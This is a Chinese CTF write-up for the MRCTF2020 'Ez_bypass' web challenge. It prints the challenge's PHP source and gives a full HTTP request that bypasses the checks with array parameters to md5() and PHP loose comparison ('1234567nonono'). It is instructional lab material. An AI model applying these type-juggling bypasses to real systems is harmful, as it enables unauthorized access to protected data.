[MRCTF2020]Ez_bypass
[MRCTF2020]Ez_bypass
代码审计,php强类型和弱类型比较。
<?
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id']))
{ // 0
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) # 强类型比较 md5 值,且 变量相等
{ // 1
echo 'You got the first step';
if(isset($_POST['passwd']))
{ // 2
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) # passwd 不能是数字,且等于 1234567 ,弱类型比较
{ // 3
if($passwd==1234567)
{ // 4
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}else{ // 4
echo "can you think twice??";
}
}else{ //3
echo 'You can not get it !';
}
}else{ // 2
die('only one way to get the flag');
}
}else{ // 1
echo "You are not a real hacker!";
}
}else{ // 0
die('Please input first');
}
?>
php中使用 md5() 对数组对象进行计算是不起作用的,返回值是 NULL。
php 中的弱类型,是指当用 == 比较两个变量是否相等的时候,php会将 数字开头但是不是数值的字符串转换成数字作比较,因此存在漏洞。
所以,payload就可以进行构造了。
# post data
POST /?gg[]=1&id[]=2 HTTP/1.1
Host: bfc5faec-b57f-474a-ac6d-fd8ef01a2599.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://bfc5faec-b57f-474a-ac6d-fd8ef01a2599.node4.buuoj.cn:81
Connection: close
Referer: http://bfc5faec-b57f-474a-ac6d-fd8ef01a2599.node4.buuoj.cn:81/
Upgrade-Insecure-Requests: 1
passwd=1234567nonono
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582237.html